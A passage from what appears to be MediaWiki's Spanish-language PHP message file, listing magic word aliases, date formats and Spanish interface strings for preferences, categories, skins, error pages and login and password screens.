'uc' => array( '0', 'MAYUS:', 'MAYÚS:', 'UC:' ),
'raw' => array( '0', 'SINFORMATO', 'SINPUNTOS', 'RAW:' ),
'displaytitle' => array( '1', 'MOSTRARTÍTULO', 'MOSTRARTITULO', 'DISPLAYTITLE' ),
'rawsuffix' => array( '1', 'SF', 'R' ),
'newsectionlink' => array( '1', '__VINCULARANUEVASECCION__', '__ENLACECREARSECCIÓN__', '__NEWSECTIONLINK__' ),
'nonewsectionlink' => array( '1', '__NOVINCULARANUEVASECCION__', '__SINENLACECREARSECCIÓN__', '__NONEWSECTIONLINK__' ),
'currentversion' => array( '1', 'VERSIONACTUAL', 'VERSIÓNACTUAL', 'CURRENTVERSION' ),
'urlencode' => array( '0', 'CODIFICARURL:', 'URLENCODE:' ),
'currenttimestamp' => array( '1', 'MARCADEHORAACTUAL', 'CURRENTTIMESTAMP' ),
'localtimestamp' => array( '1', 'MARCADEHORALOCAL', 'LOCALTIMESTAMP' ),
'language' => array( '0', '#IDIOMA:', '#LANGUAGE:' ),
'contentlanguage' => array( '1', 'IDIOMADELCONTENIDO', 'IDIOMADELCONT', 'CONTENTLANGUAGE', 'CONTENTLANG' ),
'pagesinnamespace' => array( '1', 'PÁGINASENESPACIO', 'PAGESINNAMESPACE:', 'PAGESINNS:' ),
'numberofadmins' => array( '1', 'NÚMEROADMINIISTRADORES', 'NÚMEROADMINS', 'NUMEROADMINS', 'NUMEROADMINISTRADORES', 'NUMERODEADMINISTRADORES', 'NUMERODEADMINS', 'NÚMERODEADMINISTRADORES', 'NÚMERODEADMINS', 'NUMBEROFADMINS' ),
'formatnum' => array( '0', 'FORMATONÚMERO', 'FORMATONUMERO', 'FORMATNUM' ),
'special' => array( '0', 'especial', 'special' ),
'defaultsort' => array( '1', 'ORDENAR:', 'CLAVEDEORDENPREDETERMINADO:', 'ORDENDECATEGORIAPREDETERMINADO:', 'ORDENDECATEGORÍAPREDETERMINADO:', 'DEFAULTSORT:', 'DEFAULTSORTKEY:', 'DEFAULTCATEGORYSORT:' ),
'filepath' => array( '0', 'RUTAARCHIVO:', 'RUTARCHIVO:', 'RUTADEARCHIVO:', 'FILEPATH:' ),
'tag' => array( '0', 'etiqueta', 'tag' ),
'hiddencat' => array( '1', '__CATEGORÍAOCULTA__', '__HIDDENCAT__' ),
'pagesincategory' => array( '1', 'PÁGINASENCATEGORÍA', 'PÁGINASENCAT', 'PAGSENCAT', 'PAGINASENCATEGORIA', 'PAGINASENCAT', 'PAGESINCATEGORY', 'PAGESINCAT' ),
'pagesize' => array( '1', 'TAMAÑOPÁGINA', 'TAMAÑODEPÁGINA', 'TAMAÑOPAGINA', 'TAMAÑODEPAGINA', 'PAGESIZE' ),
'index' => array( '1', '__INDEXAR__', '__INDEX__' ),
'noindex' => array( '1', '__NOINDEXAR__', '__NOINDEX__' ),
'numberingroup' => array( '1', 'NÚMEROENGRUPO', 'NUMEROENGRUPO', 'NUMENGRUPO', 'NÚMENGRUPO', 'NUMBERINGROUP', 'NUMINGROUP' ),
'staticredirect' => array( '1', '__REDIRECCIONESTATICA__', '__REDIRECCIÓNESTÁTICA__', '__STATICREDIRECT__' ),
'protectionlevel' => array( '1', 'NIVELDEPROTECCIÓN', 'PROTECTIONLEVEL' ),
'formatdate' => array( '0', 'formatodefecha', 'formatearfecha', 'formatdate', 'dateformat' ),
);
$datePreferences = false;
$defaultDateFormat = 'dmy';
$dateFormats = array(
'dmy time' => 'H:i',
'dmy date' => 'j M Y',
'dmy both' => 'H:i j M Y',
);
$separatorTransformTable = array( ',' => "\xc2\xa0", '.' => ',' );
$linkTrail = '/^([a-záéíóúñ]+)(.*)$/sDu';
$messages = array(
# User preference toggles
'tog-underline' => 'Subrayar los enlaces:',
'tog-hideminor' => 'Ocultar las ediciones menores en los cambios recientes',
'tog-hidepatrolled' => 'Ocultar las ediciones patrulladas en los cambios recientes',
'tog-newpageshidepatrolled' => 'Ocultar las páginas patrulladas de la lista de páginas nuevas',
'tog-extendwatchlist' => 'Expandir la lista de seguimiento a todos los cambios, no sólo a los más recientes',
'tog-usenewrc' => 'Agrupar los cambios por página en los cambios recientes y en la lista de seguimiento (requiere JavaScript)',
'tog-numberheadings' => 'Numerar automáticamente los encabezados',
'tog-showtoolbar' => 'Mostrar la barra de edición',
'tog-editondblclick' => 'Editar las páginas al pulsar dos veces en ellos con el ratón',
'tog-editsectiononrightclick' => 'Activar la edición de secciones pulsando el botón derecho en los títulos de secciones',
'tog-rememberpassword' => 'Recordar mi nombre de usuario y contraseña entre sesiones en este navegador (por un máximo de $1 {{PLURAL:$1|día|días}})',
'tog-watchcreations' => 'Añadir las páginas que cree y los archivos que suba a mi lista de seguimento',
'tog-watchdefault' => 'Añadir las páginas y archivos que edite a mi lista de seguimiento',
'tog-watchmoves' => 'Añadir las páginas y archivos que mueva a mi lista de seguimiento',
'tog-watchdeletion' => 'Añadir las páginas y archivos que borre a mi lista de seguimiento',
'tog-minordefault' => 'Marcar todas las ediciones como menores de manera predeterminada',
'tog-previewontop' => 'Mostrar previsualización antes del cuadro de edición',
'tog-previewonfirst' => 'Mostrar previsualización en la primera edición',
'tog-enotifwatchlistpages' => 'Enviarme un correo electrónico cuando se modifique una página o un archivo de mi lista de seguimiento',
'tog-enotifusertalkpages' => 'Enviarme un correo electrónico cuando se modifique mi página de discusión',
'tog-enotifminoredits' => 'Notificarme también por correo electrónico los cambios menores de las páginas y archivos',
'tog-enotifrevealaddr' => 'Revelar mi dirección de correo electrónico en los correos de notificación',
'tog-shownumberswatching' => 'Mostrar el número de usuarios que la vigilan',
'tog-oldsig' => 'Firma actual:',
'tog-fancysig' => 'Tratar la firma como wikitexto (sin un enlace automático)',
'tog-uselivepreview' => 'Usar previsualización dinámica (experimental)',
'tog-forceeditsummary' => 'Avisarme cuando grabe la página sin introducir un resumen de edición',
'tog-watchlisthideown' => 'Ocultar mis ediciones en la lista de seguimiento',
'tog-watchlisthidebots' => 'Ocultar las ediciones de bots en la lista de seguimiento',
'tog-watchlisthideminor' => 'Ocultar las ediciones menores en la lista de seguimiento',
'tog-watchlisthideliu' => 'Ocultar las ediciones de los usuarios registrados en la lista de seguimiento',
'tog-watchlisthideanons' => 'Ocultar las ediciones de los usuarios anónimos en la lista de seguimiento',
'tog-watchlisthidepatrolled' => 'Ocultar las ediciones patrulladas en la lista de seguimiento',
'tog-ccmeonemails' => 'Recibir copias de los correos que envío a otros usuarios',
'tog-diffonly' => "No mostrar bajo las ''diferencias'' el contenido de la página",
'tog-showhiddencats' => 'Mostrar las categorías escondidas',
'tog-noconvertlink' => 'Desactivar la conversión de título de enlace',
'tog-norollbackdiff' => 'Omitir la diferencia después de revertir',
'tog-useeditwarning' => 'Advertirme cuando abandone una página editada con cambios sin grabar',
'tog-prefershttps' => 'Utiliza una conexión segura siempre que haya iniciado una sesión',
'underline-always' => 'Siempre',
'underline-never' => 'Nunca',
'underline-default' => 'Aspecto (skin) o valor predeterminado del navegador',
# Font style option in Special:Preferences
'editfont-style' => 'Estilo de tipografía del área de edición:',
'editfont-default' => 'Predeterminado del navegador',
'editfont-monospace' => 'Tipo de letra monoespaciado',
'editfont-sansserif' => 'Tipo de letra de palo seco',
'editfont-serif' => 'Tipo de letra con serifas',
# Dates
'sunday' => 'domingo',
'monday' => 'lunes',
'tuesday' => 'martes',
'wednesday' => 'miércoles',
'thursday' => 'jueves',
'friday' => 'viernes',
'saturday' => 'sábado',
'sun' => 'dom',
'mon' => 'lun',
'tue' => 'mar',
'wed' => 'mié',
'thu' => 'jue',
'fri' => 'vie',
'sat' => 'sáb',
'january' => 'enero',
'february' => 'febrero',
'march' => 'marzo',
'april' => 'abril',
'may_long' => 'mayo',
'june' => 'junio',
'july' => 'julio',
'august' => 'agosto',
'september' => 'septiembre',
'october' => 'octubre',
'november' => 'noviembre',
'december' => 'diciembre',
'january-gen' => 'enero',
'february-gen' => 'febrero',
'march-gen' => 'marzo',
'april-gen' => 'abril',
'may-gen' => 'mayo',
'june-gen' => 'junio',
'july-gen' => 'julio',
'august-gen' => 'agosto',
'september-gen' => 'septiembre',
'october-gen' => 'octubre',
'november-gen' => 'noviembre',
'december-gen' => 'diciembre',
'jan' => 'ene',
'feb' => 'feb',
'mar' => 'mar',
'apr' => 'abr',
'may' => 'may',
'jun' => 'jun',
'jul' => 'jul',
'aug' => 'ago',
'sep' => 'sep',
'oct' => 'oct',
'nov' => 'nov',
'dec' => 'dic',
'january-date' => '$1 de enero',
'february-date' => '$1 de febrero',
'march-date' => '$1 de marzo',
'april-date' => '$1 de abril',
'may-date' => '$1 de mayo',
'june-date' => '$1 de junio',
'july-date' => '$1 de julio',
'august-date' => '$1 de agosto',
'september-date' => '$1 de septiembre',
'october-date' => '$1 de octubre',
'november-date' => '$1 de noviembre',
'december-date' => '$1 de diciembre',
# Categories related messages
'pagecategories' => '{{PLURAL:$1|Categoría|Categorías}}',
'category_header' => 'Páginas en la categoría «$1»',
'subcategories' => 'Subcategorías',
'category-media-header' => 'Archivos multimedia en la categoría «$1»',
'category-empty' => "''La categoría no contiene ninguna página o archivo.''",
'hidden-categories' => '{{PLURAL:$1|Categoría escondida|Categorías escondidas}}',
'hidden-category-category' => 'Categorías ocultas',
'category-subcat-count' => '{{PLURAL:$2|Esta categoría solo contiene la siguiente subcategoría.|Esta categoría contiene {{PLURAL:$1|la siguiente subcategoría|las siguientes $1 subcategorías}}, de un total de $2.}}',
'category-subcat-count-limited' => 'Esta categoría contiene {{PLURAL:$1|la siguiente subcategoría|las siguientes $1 subcategorías}}.',
'category-article-count' => '{{PLURAL:$2|Esta categoría incluye solamente la siguiente página.|{{PLURAL:$1|La siguiente página página pertenece|Las siguientes $1 páginas pertenecen}} a esta categoría, de un total de $2.}}',
'category-article-count-limited' => '{{PLURAL:$1|La siguiente página pertenece|Las siguientes $1 páginas pertenecen}} a esta categoría.',
'category-file-count' => '{{PLURAL:$2|Esta categoría contiene solamente el siguiente archivo.|{{PLURAL:$1|El siguiente archivo pertenece|Los siguientes $1 archivos pertenecen}} a esta categoría, de un total de $2.}}',
'category-file-count-limited' => '{{PLURAL:$1|El siguiente fichero pertenece|Los siguientes $1 ficheros pertenecen}} a esta categoría.',
'listingcontinuesabbrev' => 'cont.',
'index-category' => 'Páginas indizadas',
'noindex-category' => 'Páginas no indizadas',
'broken-file-category' => 'Páginas con enlaces rotos a archivos',
'about' => 'Acerca de',
'article' => 'Artículo',
'newwindow' => '(se abre en una ventana nueva)',
'cancel' => 'Cancelar',
'moredotdotdot' => 'Más...',
'morenotlisted' => 'Esta lista no está completa.',
'mypage' => 'Página',
'mytalk' => 'Discusión',
'anontalk' => 'Discusión para esta IP',
'navigation' => 'Navegación',
'and' => ' y',
# Cologne Blue skin
'qbfind' => 'Buscar',
'qbbrowse' => 'Navegar',
'qbedit' => 'Editar',
'qbpageoptions' => 'Opciones de página',
'qbmyoptions' => 'Mis páginas',
'faq' => 'Preguntas más frecuentes',
'faqpage' => 'Project:P+F',
# Vector skin
'vector-action-addsection' => 'Nueva sección',
'vector-action-delete' => 'Borrar',
'vector-action-move' => 'Trasladar',
'vector-action-protect' => 'Proteger',
'vector-action-undelete' => 'Restaurar',
'vector-action-unprotect' => 'Cambiar protección',
'vector-view-create' => 'Crear',
'vector-view-edit' => 'Editar',
'vector-view-history' => 'Ver historial',
'vector-view-view' => 'Leer',
'vector-view-viewsource' => 'Ver código',
'actions' => 'Acciones',
'namespaces' => 'Espacios de nombres',
'variants' => 'Variantes',
'navigation-heading' => 'Menú de navegación',
'errorpagetitle' => 'Error',
'returnto' => 'Volver a $1.',
'tagline' => 'De {{SITENAME}}',
'help' => 'Ayuda',
'search' => 'Buscar',
'searchbutton' => 'Buscar',
'go' => 'Ir',
'searcharticle' => 'Ir',
'history' => 'Historial',
'history_short' => 'Historial',
'updatedmarker' => 'actualizado desde mi última visita',
'printableversion' => 'Versión para imprimir',
'permalink' => 'Enlace permanente',
'print' => 'Imprimir',
'view' => 'Ver',
'edit' => 'Editar',
'create' => 'Crear',
'editthispage' => 'Editar esta página',
'create-this-page' => 'Crear esta página',
'delete' => 'Borrar',
'deletethispage' => 'Borrar esta página',
'undeletethispage' => 'Restaurar esta página',
'undelete_short' => 'Restaurar {{PLURAL:$1|una edición|$1 ediciones}}',
'viewdeleted_short' => 'Ver {{PLURAL:$1|una edición borrada|$1 ediciones borradas}}',
'protect' => 'Proteger',
'protect_change' => 'cambiar',
'protectthispage' => 'Proteger esta página',
'unprotect' => 'Cambiar protección',
'unprotectthispage' => 'Cambiar la protección de esta página',
'newpage' => 'Página nueva',
'talkpage' => 'Discutir esta página',
'talkpagelinktext' => 'Discusión',
'specialpage' => 'Página especial',
'personaltools' => 'Herramientas personales',
'postcomment' => 'Sección nueva',
'articlepage' => 'Ver artículo',
'talk' => 'Discusión',
'views' => 'Vistas',
'toolbox' => 'Herramientas',
'userpage' => 'Ver página de usuario',
'projectpage' => 'Ver página de proyecto',
'imagepage' => 'Ver página del archivo',
'mediawikipage' => 'Ver página de mensaje',
'templatepage' => 'Ver página de plantilla',
'viewhelppage' => 'Ver página de ayuda',
'categorypage' => 'Ver página de categoría',
'viewtalkpage' => 'Ver discusión',
'otherlanguages' => 'Otros idiomas',
'redirectedfrom' => '(Redirigido desde «$1»)',
'redirectpagesub' => 'Página de redirección',
'lastmodifiedat' => 'Esta página fue modificada por última vez el $1, a las $2.',
'viewcount' => 'Esta página se ha visitado {{PLURAL:$1|una vez|$1 veces}}.',
'protectedpage' => 'Página protegida',
'jumpto' => 'Saltar a:',
'jumptonavigation' => 'navegación',
'jumptosearch' => 'buscar',
'view-pool-error' => 'Lo sentimos, los servidores están sobrecargados en este momento.
Hay demasiados usuarios que están tratando de ver esta página.
Espera un momento antes de tratar de acceder nuevamente a esta página.
$1',
'pool-timeout' => 'Tiempo limite agotado para el bloqueo',
'pool-queuefull' => 'La cola de trabajo está llena',
'pool-errorunknown' => 'Error desconocido',
# All link text and link target definitions of links into project namespace that get used by other message strings, with the exception of user group pages (see grouppage).
'aboutsite' => 'Acerca de {{SITENAME}}',
'aboutpage' => 'Project:Acerca de',
'copyright' => 'El contenido está disponible bajo $1 a menos que se indique lo contrario.',
'copyrightpage' => '{{ns:project}}:Derechos de autor',
'currentevents' => 'Actualidad',
'currentevents-url' => 'Project:Actualidad',
'disclaimers' => 'Aviso legal',
'disclaimerpage' => 'Project:Limitación general de responsabilidad',
'edithelp' => 'Ayuda de edición',
'helppage' => 'Help:Contenido',
'mainpage' => 'Página principal',
'mainpage-description' => 'Página principal',
'policy-url' => 'Project:Políticas',
'portal' => 'Portal de la comunidad',
'portal-url' => 'Project:Portal de la comunidad',
'privacy' => 'Política de protección de datos',
'privacypage' => 'Project:Política de protección de datos',
'badaccess' => 'Error de permisos',
'badaccess-group0' => 'No estás autorizado a ejecutar la acción solicitada.',
'badaccess-groups' => 'La acción que has solicitado está restringida a los usuarios {{PLURAL:$2|del grupo|de uno de estos $2 grupos}}: $1.',
'versionrequired' => 'Se requiere la versión $1 de MediaWiki.',
'versionrequiredtext' => 'Se necesita la versión $1 de MediaWiki para utilizar esta página. Para más información, consultar [[Special:Version|la página de versión]]',
'ok' => 'Aceptar',
'retrievedfrom' => 'Obtenido de «$1»',
'youhavenewmessages' => 'Tienes $1 ($2).',
'youhavenewmessagesfromusers' => 'Tienes $1 de {{PLURAL:$3|otro usuario|$3 usuarios}} ($2).',
'youhavenewmessagesmanyusers' => 'Tienes $1 de muchos usuarios ($2).',
'newmessageslinkplural' => '{{PLURAL:$1|un mensaje nuevo|999=mensajes nuevos}}',
'newmessagesdifflinkplural' => '{{PLURAL:$1|último cambio|999=últimos cambios}}',
'youhavenewmessagesmulti' => 'Tienes mensajes nuevos en $1',
'editsection' => 'editar',
'editold' => 'editar',
'viewsourceold' => 'ver código',
'editlink' => 'modificar',
'viewsourcelink' => 'ver código',
'editsectionhint' => 'Editar sección: $1',
'toc' => 'Contenido',
'showtoc' => 'mostrar',
'hidetoc' => 'ocultar',
'collapsible-collapse' => 'Contraer',
'collapsible-expand' => 'Expandir',
'thisisdeleted' => '¿Ver o restaurar $1?',
'viewdeleted' => '¿Quieres ver $1?',
'restorelink' => '{{PLURAL:$1|una edición borrada|$1 ediciones borradas}}',
'feedlinks' => 'Canal:',
'feed-invalid' => 'El tipo de canal de suscripción no es válido.',
'feed-unavailable' => 'Los canales de sindicación no están disponibles',
'site-rss-feed' => 'Canal RSS de $1',
'site-atom-feed' => 'Canal Atom de $1',
'page-rss-feed' => 'Canal RSS «$1»',
'page-atom-feed' => 'Canal Atom «$1»',
'red-link-title' => '$1 (la página no existe)',
'sort-descending' => 'Orden descendente',
'sort-ascending' => 'Orden ascendente',
# Short words for each namespace, by default used in the namespace tab in monobook
'nstab-main' => 'Página',
'nstab-user' => 'Página {{GENDER:{{ROOTPAGENAME}}|del usuario|de la usuaria}}',
'nstab-media' => 'Multimedia',
'nstab-special' => 'Página especial',
'nstab-project' => 'Página del proyecto',
'nstab-image' => 'Archivo',
'nstab-mediawiki' => 'Mensaje',
'nstab-template' => 'Plantilla',
'nstab-help' => 'Ayuda',
'nstab-category' => 'Categoría',
# Main script and global functions
'nosuchaction' => 'No existe esa acción',
'nosuchactiontext' => 'La acción especificada en la dirección no es válida.
Es posible que hayas escrito mal la URL o que hayas seguido un enlace incorrecto. Esto también podría indicar un error en el software utilizado en {{SITENAME}}.',
'nosuchspecialpage' => 'No existe esa página especial',
'nospecialpagetext' => '<strong>Ha solicitado una página especial inexistente.</strong>
Puedes ver una lista de las páginas especiales en [[Special:SpecialPages|{{int:specialpages}}]].',
# General errors
'error' => 'Error',
'databaseerror' => 'Error de la base de datos',
'databaseerror-text' => 'Se ha producido un error en la base de datos.
Esto puede indicar un bug en el software.',
'databaseerror-textcl' => 'Se ha producido un error en la base de datos.',
'databaseerror-query' => 'Consulta: $1',
'databaseerror-function' => 'Función: $1',
'databaseerror-error' => 'Error: $1',
'laggedslavemode' => "'''Aviso:''' puede que falten las actualizaciones más recientes en esta página.",
'readonly' => 'Base de datos bloqueada',
'enterlockreason' => 'Explique el motivo del bloqueo, incluyendo una estimación de cuándo se producirá el desbloqueo',
'readonlytext' => 'La base de datos no permite nuevas entradas u otras modificaciones de forma temporal, probablemente por mantenimiento rutinario, tras lo cual volverá a la normalidad.
La explicación dada por el administrador que la bloqueó fue: $1',
'missing-article' => "La base de datos no encuentra el texto de una página que debería hallarse, llamada «$1» $2.
La causa de esto suele deberse a un ''diff'' anacrónico o un enlace al historial de una página que ha sido borrada.
Si no fuera el caso, puedes haber encontrado un fallo en el software.
Por favor, avisa a un [[Special:ListUsers/sysop|administrador]], tomando nota de la URL.",
'missingarticle-rev' => '(n.º de revisión: $1)',
'missingarticle-diff' => '(Dif.: $1, $2)',
'readonly_lag' => 'La base de datos se ha bloqueado temporalmente mientras los servidores se sincronizan.',
'internalerror' => 'Error interno',
'internalerror_info' => 'Error interno: $1',
'fileappenderrorread' => 'No se ha podido leer «$1» durante la anexión.',
'fileappenderror' => 'No se ha podido añadir «$1» a «$2».',
'filecopyerror' => 'No se pudo copiar el archivo «$1» a «$2».',
'filerenameerror' => 'No se pudo renombrar el archivo «$1» a «$2».',
'filedeleteerror' => 'No se pudo borrar el archivo «$1».',
'directorycreateerror' => 'No se pudo crear el directorio «$1».',
'filenotfound' => 'No se pudo encontrar el archivo «$1».',
'fileexistserror' => 'No se pudo escribir en el archivo «$1»: el archivo existe.',
'unexpected' => 'Valor inesperado: «$1»=«$2».',
'formerror' => 'Error: no se pudo enviar el formulario',
'badarticleerror' => 'Esta acción no se puede llevar a cabo en esta página.',
'cannotdelete' => 'La página o archivo «$1» no se pudo borrar.
Puede que ya haya sido borrado por alguien más.',
'cannotdelete-title' => 'No se puede borrar la página «$1»',
'delete-hook-aborted' => 'La modificación que intentaste hacer fue cancelada por un gancho de extensión. No hay explicación disponible.',
'no-null-revision' => 'No se pudo crear la revisión nula para la página «$1»',
'badtitle' => 'Título incorrecto',
'badtitletext' => 'El título de la página solicitada está vacío, no es válido, o es un enlace interidioma o interwiki incorrecto.
Puede que contenga uno o más caracteres que no se pueden usar en los títulos.',
'perfcached' => 'Los siguientes datos provienen de la caché y pueden no estar actualizados. La caché puede contener {{PLURAL:$1|un resultado|$1 resultados}} como máximo.',
'perfcachedts' => 'Los siguientes datos provienen de la caché y su última fecha y hora de actualización es: $1. La caché puede contener {{PLURAL:$4|un resultado|$4 resultados}} como máximo.',
'querypage-no-updates' => 'Actualmente las actualizaciones de esta página están desactivadas. Estos datos no serán actualizados a corto plazo.',
'viewsource' => 'Ver código',
'viewsource-title' => 'Ver el código de «$1»',
'actionthrottled' => 'Acción limitada',
'actionthrottledtext' => "Como medida contra el ''spam'', la acción que estás realizando está limitada a un número determinado de veces en un periodo corto de tiempo, y has excedido ese límite. Por favor inténtalo de nuevo en unos minutos.",
'protectedpagetext' => 'Esta página ha sido protegida para evitar su edición u otras acciones.',
'viewsourcetext' => 'Puedes ver y copiar el código fuente de esta página:',
'viewyourtext' => "Puedes ver y copiar el código de '''tus ediciones''' a esta página:",
'protectedinterface' => 'Esta página proporciona el texto de la interfaz del software en este wiki, y está protegida para prevenir el abuso.
Para agregar o cambiar las traducciones para todos los wikis, por favor, usa [//translatewiki.net/ translatewiki.net], el proyecto de localización de MediaWiki.',
'editinginterface' => "'''Aviso:''' Estás editando una página usada para proporcionar el texto de la interfaz para el software.
Los cambios en esta página afectarán a la apariencia de la interfaz para los demás usuarios de este wiki.
Para añadir o cambiar las traducciones, por favor considera usar [//translatewiki.net/ translatewiki.net], el proyecto de localización de MediaWiki.",
'cascadeprotected' => 'Esta página ha sido protegida para su edición, porque está incluida en {{PLURAL:$1|la siguiente página|las siguientes páginas}}, que están protegidas con la opción de «cascada»:
$2',
'namespaceprotected' => "No tienes permiso para editar las páginas del espacio de nombres '''$1'''.",
'customcssprotected' => 'No tienes permiso para editar esta página CSS, porque contiene configuraciones personales de otro usuario.',
'customjsprotected' => 'No tienes permiso para editar esta página JavaScript, porque contiene configuraciones personales de otro usuario.',
'mycustomcssprotected' => 'No tienes permiso para editar esta página CSS.',
'mycustomjsprotected' => 'No tienes permiso para editar esta página JavaScript.',
'myprivateinfoprotected' => 'No tienes permiso para editar tu información privada.',
'mypreferencesprotected' => 'No tienes permiso para editar tus preferencias.',
'ns-specialprotected' => 'Las páginas especiales no se pueden editar',
'titleprotected' => 'Esta página ha sido protegida contra creación por [[User:$1|$1]].
El motivo dado fue: "\'\'$2\'\'".',
'filereadonlyerror' => 'No se puede modificar el archivo "$1" porque el repositorio de archivos "$2" está en modo de sólo lectura.
El administrador que lo ha bloqueado ofrece esta explicación: "$3".',
'invalidtitle-knownnamespace' => 'Título no válido con el espacio de nombres "$2" y el texto "$3"',
'invalidtitle-unknownnamespace' => 'Título no válido con número de espacio de nombres desconocido $1 y el texto "$2"',
'exception-nologin' => 'No has iniciado sesión',
'exception-nologin-text' => '[[Special:Userlogin|Inicia sesión]] para acceder a esta página o acción.',
'exception-nologin-text-manual' => 'Necesitas $1 para acceder a esta página o acción.',
# Virus scanner
'virus-badscanner' => "Error de configuración: Antivirus desconocido: ''$1''",
'virus-scanfailed' => 'falló el análisis (código $1)',
'virus-unknownscanner' => 'antivirus desconocido:',
# Login and logout pages
'logouttext' => '"\'Usted está ahora desconectado."\'
Tenga en cuenta que algunas páginas pueden continuar mostrándose como si todavía estuviera conectado, hasta que borres la caché de tu navegador.',
'welcomeuser' => '¡Te damos la bienvenida, $1!',
'welcomecreation-msg' => 'Se ha creado tu cuenta.
No olvides personalizar tus [[Special:Preferences|preferencias de {{SITENAME}}]].',
'yourname' => 'Nombre de usuario:',
'userlogin-yourname' => 'Usuario',
'userlogin-yourname-ph' => 'Escribe tu nombre de usuario',
'createacct-another-username-ph' => 'Escribe el nombre de usuario',
'yourpassword' => 'Contraseña:',
'userlogin-yourpassword' => 'Contraseña',
'userlogin-yourpassword-ph' => 'Escribe tu contraseña',
'createacct-yourpassword-ph' => 'Escribe una contraseña',
'yourpasswordagain' => 'Confirma la contraseña:',
'createacct-yourpasswordagain' => 'Confirma la contraseña',
'createacct-yourpasswordagain-ph' => 'Repite la contraseña',
'remembermypassword' => 'Mantenerme conectado en este navegador (hasta $1 {{PLURAL:$1|día|días}})',
'userlogin-remembermypassword' => 'Mantener mi sesión iniciada',
'userlogin-signwithsecure' => 'Usar conexión segura',
'yourdomainname' => 'Dominio',
'password-change-forbidden' => 'No puedes cambiar las contraseñas de este wiki.',
'externaldberror' => 'Hubo un error de autenticación externa de la base de datos o bien no tienes autorización para actualizar tu cuenta externa.',
'login' => 'Iniciar sesión',
'nav-login-createaccount' => 'Iniciar sesión / crear cuenta',
'loginprompt' => "Necesita activar las ''cookies'' en el navegador para iniciar sesión en {{SITENAME}}.",
'userlogin' => 'Iniciar sesión / crear cuenta',
'userloginnocreate' => 'Iniciar sesión',
'logout' => 'Cerrar sesión',
'userlogout' => 'Cerrar sesión',
'notloggedin' => 'No has iniciado sesión',
'userlogin-noaccount' => '¿No tienes una cuenta?',
'userlogin-joinproject' => 'Únete a {{SITENAME}}',
'nologin' => '¿No tienes una cuenta? $1.',
'nologinlink' => 'Crear una cuenta',
'createaccount' => 'Crear una cuenta',
'gotaccount' => '¿Ya tienes una cuenta? $1.',
'gotaccountlink' => 'Iniciar sesión',
'userlogin-resetlink' => '¿Olvidaste tus datos de acceso?',
'userlogin-resetpassword-link' => '¿Has olvidado tu contraseña?',
'helplogin-url' => 'Help:Inicio de sesión',
'userlogin-helplink' => '[[{{MediaWiki:helplogin-url}}|Ayuda]]',
'userlogin-loggedin' => 'Ya estás conectado como {{GENDER:$1|$1}}.
Usa el formulario de abajo para iniciar sesión como otro usuario.',
'userlogin-createanother' => 'Crear otra cuenta',
'createacct-join' => 'Introduce tus datos debajo.',
'createacct-another-join' => 'Escribe la información de la cuenta nueva a continuación.',
'createacct-emailrequired' => 'Dirección de correo electrónico',
'createacct-emailoptional' => 'Dirección de correo electrónico (opcional)',
'createacct-email-ph' => 'Escribe tu dirección de correo electrónico',
'createacct-another-email-ph' => 'Introduzca la dirección de correo electrónico',
'createaccountmail' => 'Utilizar una contraseña aleatoria temporal y enviarla a la dirección de correo electrónico especificada',
'createacct-realname' => 'Nombre real (opcional)',
'createaccountreason' => 'Motivo:',
'createacct-reason' => 'Motivo',
'createacct-reason-ph' => 'Por qué estás creando otra cuenta',
'createacct-captcha' => 'Comprobación de seguridad',
'createacct-imgcaptcha-ph' => 'Escribe el texto de arriba',
'createacct-submit' => 'Crea tu cuenta',
'createacct-another-submit' => 'Crear otra cuenta',
'createacct-benefit-heading' => '{{SITENAME}} es hecha por gente como tú.',
'createacct-benefit-body1' => '{{PLURAL:$1|edición|ediciones}}',
'createacct-benefit-body2' => '{{PLURAL:$1|página|páginas}}',
'createacct-benefit-body3' => '{{PLURAL:$1|colaborador reciente|colaboradores recientes}}',
'badretype' => 'Las contraseñas no coinciden.',
'userexists' => 'El nombre de usuario indicado ya está en uso.
Elige un nombre diferente.',
'loginerror' => 'Error de inicio de sesión',
'createacct-error' => 'Error al crear la cuenta',
'createaccounterror' => 'No se pudo crear la cuenta: $1',
'nocookiesnew' => 'La cuenta de usuario ha sido creada, pero no has iniciado sesión.
{{SITENAME}} usa <em>cookies</em> para identificar a los usuarios registrados.
Tu navegador tiene desactivadas las cookies.
Por favor, actívalas e inicia sesión con tu nuevo nombre de usuario y contraseña.',
'nocookieslogin' => '{{SITENAME}} utiliza <em>cookies</em> para la autenticación de usuarios. Las <em>cookies</em> están desactivadas en tu navegador. Por favor, actívalas e inténtalo de nuevo.',
'nocookiesfornew' => 'No se pudo crear la cuenta de usuario, porque no pudimos confirmar su origen.
Asegúrate de que tienes las cookies activadas, luego recarga esta página e inténtalo de nuevo.',
'noname' => 'No se ha especificado un nombre de usuario válido.',
'loginsuccesstitle' => 'Inicio de sesión exitoso',
'loginsuccess' => "'''Has iniciado sesión en {{SITENAME}} como «$1».'''",
'nosuchuser' => 'No existe ningún usuario llamado «$1».
Los nombres de usuario son sensibles a las mayúsculas.
Revisa la ortografía, o [[Special:UserLogin/signup|crea una cuenta nueva]].',
'nosuchusershort' => 'No hay un usuario con el nombre «$1». Comprueba que lo has escrito correctamente.',
'nouserspecified' => 'Debes especificar un nombre de usuario.',
'login-userblocked' => 'Este usuario está bloqueado. Inicio de sesión no permitido.',
'wrongpassword' => 'La contraseña indicada es incorrecta.
Inténtalo de nuevo.',
'wrongpasswordempty' => 'No has escrito una contraseña.
Inténtalo de nuevo.',
'passwordtooshort' => 'Las contraseñas deben tener al menos {{PLURAL:$1|1 caracter|$1 caracteres}}.',
'password-name-match' => 'Tu contraseña debe ser diferente de tu nombre de usuario.',
'password-login-forbidden' => 'El uso de este nombre de usuario y contraseña han sido prohibidos.',
'mailmypassword' => 'Restablecer la contraseña',
'passwordremindertitle' => 'Recordatorio de contraseña de {{SITENAME}}',
'passwordremindertext' => 'Alguien (probablemente tú, desde la dirección IP $1) solicitó que te enviáramos una nueva contraseña para tu cuenta en {{SITENAME}} ($4).
Se ha creado la siguiente contraseña temporal para el usuario «$2»: «$3»
Ahora deberías iniciar sesión y cambiar tu contraseña. Tu contraseña temporal expirará en {{PLURAL:$5|un día|$5 días}}.
Si fue otro quien solicitó este mensaje o has recordado tu contraseña y ya no deseas cambiarla, puedes ignorar este mensaje y seguir usando tu contraseña original.',
'noemail' => 'No hay una dirección de correo electrónico registrada para «$1».',
'noemailcreate' => 'Necesitas proveer una dirección de correo electrónico válida',
'passwordsent' => 'Se ha enviado una nueva contraseña al correo electrónico de «$1».
Por favor, identifícate de nuevo tras recibirla.',
